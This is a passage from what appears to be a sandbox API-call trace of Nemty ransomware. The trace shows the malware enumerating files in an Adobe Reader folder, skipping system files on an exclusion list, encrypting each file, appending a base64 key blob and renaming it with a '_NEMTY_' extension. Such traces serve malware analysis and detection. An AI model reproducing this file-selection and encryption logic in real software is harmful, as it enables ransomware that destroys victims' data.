lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.072] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.072] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8a01e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="nppdf32.SVE", cAlternateFileName="")) returned 1 [0171.072] lstrcmpiW (lpString1="nppdf32.SVE", lpString2=".") returned 1 [0171.072] lstrcmpiW (lpString1="nppdf32.SVE", lpString2="..") returned 1 [0171.072] lstrcmpiW (lpString1="nppdf32.SVE", lpString2="...") returned 1 [0171.072] lstrcmpiW (lpString1="nppdf32.SVE", lpString2="windows") returned -1 [0171.072] lstrcmpiW (lpString1="nppdf32.SVE", lpString2="$RECYCLE.BIN") returned 1 [0171.072] lstrcmpiW (lpString1="nppdf32.SVE", lpString2="rsa") returned -1 [0171.072] lstrcmpiW (lpString1="nppdf32.SVE", lpString2="NTDETECT.COM") returned -1 [0171.072] lstrcmpiW (lpString1="nppdf32.SVE", lpString2="ntldr") returned -1 [0171.072] lstrcmpiW (lpString1="nppdf32.SVE", lpString2="MSDOS.SYS") returned 1 [0171.072] lstrcmpiW (lpString1="nppdf32.SVE", lpString2="IO.SYS") returned 1 [0171.072] lstrcmpiW (lpString1="nppdf32.SVE", lpString2="boot.ini") returned 1 [0171.072] lstrcmpiW (lpString1="nppdf32.SVE", lpString2="boot.ini") returned 1 [0171.072] lstrcmpiW (lpString1="nppdf32.SVE", lpString2="AUTOEXEC.BAT") returned 1 [0171.072] lstrcmpiW (lpString1="nppdf32.SVE", lpString2="ntuser.dat") returned -1 [0171.072] lstrcmpiW (lpString1="nppdf32.SVE", lpString2="desktop.ini") returned 1 [0171.072] lstrcmpiW (lpString1="nppdf32.SVE", lpString2="CONFIG.SYS") returned 1 [0171.072] lstrcmpiW (lpString1="nppdf32.SVE", lpString2="RECYCLER") returned -1 [0171.072] lstrcmpiW (lpString1="nppdf32.SVE", lpString2="BOOTSECT.BAK") returned 1 [0171.073] lstrcmpiW (lpString1="nppdf32.SVE", lpString2="bootmgr") returned 1 [0171.073] lstrcmpiW (lpString1="nppdf32.SVE", lpString2="programdata") returned -1 [0171.073] lstrcmpiW (lpString1="nppdf32.SVE", lpString2="appdata") returned 1 [0171.073] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.073] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SVE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.073] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SVE", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.SVE", lpUsedDefaultChar=0x0) returned 11 [0171.073] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.073] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SVE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.073] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SVE", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.SVE", lpUsedDefaultChar=0x0) returned 11 [0171.073] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.073] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.073] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.073] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SVE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.073] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SVE", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.SVE", lpUsedDefaultChar=0x0) returned 11 [0171.073] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.073] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.073] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SVE", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.073] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SVE", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.SVE", lpUsedDefaultChar=0x0) returned 11 [0171.073] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.073] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.073] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0171.073] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0171.073] Sleep (dwMilliseconds=0x5) [0171.083] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x199ecc50, dwHighDateTime=0x1d561e8)) [0171.083] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x199ecc50, dwHighDateTime=0x1d561e8)) [0171.083] GetLastError () returned 0x0 [0171.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.083] GetLastError () returned 0x0 [0171.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.083] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0171.083] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0171.083] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0171.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94288 [0171.083] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94288, pcchString=0x653e91c | out: pszString="KDFsVqqW7sEp6sy9Emernx4n/ffFggn40Sus60lJ2CeKxOe+JRoLplBQXurEDDDX\r\nvoyMMJPJnumijEWkYE9goYZ27A08iB7gNan4V2QvytsnCioNlfBVVOqdwFNxA5Rg\r\ngDuzfXOIUGbhomn/c8T1s8aAlo9qaDlhxKOvFuKiy2xHcuRFKXQsnAmpPkSC5s/Z\r\nG5b4htGQnAJKix3+S0kgwLM5JPZL0YNXJhQwcDPvUa2TjJDuDMo4fN4Wqt6VAxEv\r\ntlfSFdskEA4mHiZN/bt06ueK910E/6OaNH953yjlwYKstC/UMXiYkxUoc+EAXf1H\r\na1aW810zwKOd20kdQYcfqg==\r\n", pcchString=0x653e91c) returned 1 [0171.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0171.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0171.083] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0171.083] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94288 [0171.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0171.084] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.sve"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.084] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=7680) returned 1 [0171.084] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0171.084] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.084] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x1e00, lpOverlapped=0x0) returned 1 [0171.086] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.086] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x1e00, lpOverlapped=0x0) returned 1 [0171.086] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0171.086] SetFilePointer (in: hFile=0x254, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0171.086] WriteFile (in: hFile=0x254, lpBuffer=0x4f94288*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x4f94288*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0171.086] CloseHandle (hObject=0x254) returned 1 [0171.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.087] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.087] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0171.087] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0171.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0171.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.087] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SVE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.sve"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SVE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.sve._nemty_kgobjgd_")) returned 1 [0171.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0171.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0171.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0171.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0171.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0171.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0171.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.087] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0171.087] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d912600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="nppdf32.TUR", cAlternateFileName="")) returned 1 [0171.087] lstrcmpiW (lpString1="nppdf32.TUR", lpString2=".") returned 1 [0171.087] lstrcmpiW (lpString1="nppdf32.TUR", lpString2="..") returned 1 [0171.087] lstrcmpiW (lpString1="nppdf32.TUR", lpString2="...") returned 1 [0171.088] lstrcmpiW (lpString1="nppdf32.TUR", lpString2="windows") returned -1 [0171.088] lstrcmpiW (lpString1="nppdf32.TUR", lpString2="$RECYCLE.BIN") returned 1 [0171.088] lstrcmpiW (lpString1="nppdf32.TUR", lpString2="rsa") returned -1 [0171.088] lstrcmpiW (lpString1="nppdf32.TUR", lpString2="NTDETECT.COM") returned -1 [0171.088] lstrcmpiW (lpString1="nppdf32.TUR", lpString2="ntldr") returned -1 [0171.088] lstrcmpiW (lpString1="nppdf32.TUR", lpString2="MSDOS.SYS") returned 1 [0171.088] lstrcmpiW (lpString1="nppdf32.TUR", lpString2="IO.SYS") returned 1 [0171.088] lstrcmpiW (lpString1="nppdf32.TUR", lpString2="boot.ini") returned 1 [0171.088] lstrcmpiW (lpString1="nppdf32.TUR", lpString2="boot.ini") returned 1 [0171.088] lstrcmpiW (lpString1="nppdf32.TUR", lpString2="AUTOEXEC.BAT") returned 1 [0171.088] lstrcmpiW (lpString1="nppdf32.TUR", lpString2="ntuser.dat") returned -1 [0171.088] lstrcmpiW (lpString1="nppdf32.TUR", lpString2="desktop.ini") returned 1 [0171.088] lstrcmpiW (lpString1="nppdf32.TUR", lpString2="CONFIG.SYS") returned 1 [0171.088] lstrcmpiW (lpString1="nppdf32.TUR", lpString2="RECYCLER") returned -1 [0171.088] lstrcmpiW (lpString1="nppdf32.TUR", lpString2="BOOTSECT.BAK") returned 1 [0171.088] lstrcmpiW (lpString1="nppdf32.TUR", lpString2="bootmgr") returned 1 [0171.088] lstrcmpiW (lpString1="nppdf32.TUR", lpString2="programdata") returned -1 [0171.088] lstrcmpiW (lpString1="nppdf32.TUR", lpString2="appdata") returned 1 [0171.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.TUR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.TUR", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.TUR", lpUsedDefaultChar=0x0) returned 11 [0171.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.TUR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.TUR", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.TUR", lpUsedDefaultChar=0x0) returned 11 [0171.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.TUR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.TUR", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.TUR", lpUsedDefaultChar=0x0) returned 11 [0171.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.TUR", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0171.088] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.TUR", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.TUR", lpUsedDefaultChar=0x0) returned 11 [0171.088] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0171.088] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0171.089] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0171.089] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0171.089] Sleep (dwMilliseconds=0x5) [0171.098] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x19a12db0, dwHighDateTime=0x1d561e8)) [0171.098] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x19a12db0, dwHighDateTime=0x1d561e8)) [0171.098] GetLastError () returned 0x0 [0171.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0171.099] GetLastError () returned 0x0 [0171.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0171.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0171.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.099] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0171.099] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0171.099] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0171.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x4f94288 [0171.099] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x4f94288, pcchString=0x653e91c | out: pszString="b+mqWCg5JhfpfMx9ihMUpbogNM3x0PUrglR30rGBQAdlpnrrIoPcP7WcEuEmfzn+\r\nU5hvcN55PvKrgafMe/G3wCzaW4WKfySyXhU6L5RQCcqzhwsBrt5xAeVsrEqnPZKZ\r\nL8srFiQNOXRCvZy4OlSjvYldCAy0wm/dAhCvkKq4xG1xpSkimF3+mCRNCWEYhrfL\r\nTEqyU9IZKQZARFFHfz+ZpyR2jP1RAEfLgkxN+f0fdYwPw5i0n7hSUPTqSNWLT5Ve\r\nMfPSUn52ZCNqx/xe4VeRk0Dg17jVwIVyF6o5b8AhNe8VTAi9SiMt+QHrGgxAgQtz\r\nCwuEwDL3J/fMv2qCB9Vofw==\r\n", pcchString=0x653e91c) returned 1 [0171.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0171.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0171.099] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0171.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x4f94288 [0171.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0171.099] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.tur"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0171.099] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=7680) returned 1 [0171.099] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1e00) returned 0x6352c48 [0171.099] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.099] ReadFile (in: hFile=0x254, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653eb64*=0x1e00, lpOverlapped=0x0) returned 1 [0171.101] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0171.101] WriteFile (in: hFile=0x254, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1e00, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653eb5c*=0x1e00, lpOverlapped=0x0) returned 1 [0171.101] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0171.101] SetFilePointer (in: hFile=0x254, lDistanceToMove=7680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1e00 [0171.101] WriteFile (in: hFile=0x254, lpBuffer=0x4f94288*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x4f94288*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0171.102] CloseHandle (hObject=0x254) returned 1 [0171.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0171.102] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0171.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0171.102] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0171.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0171.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0171.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0171.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0171.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0171.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0171.102] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.TUR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.tur"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.TUR._NEMTY_kGOBjgD_" (normalized: 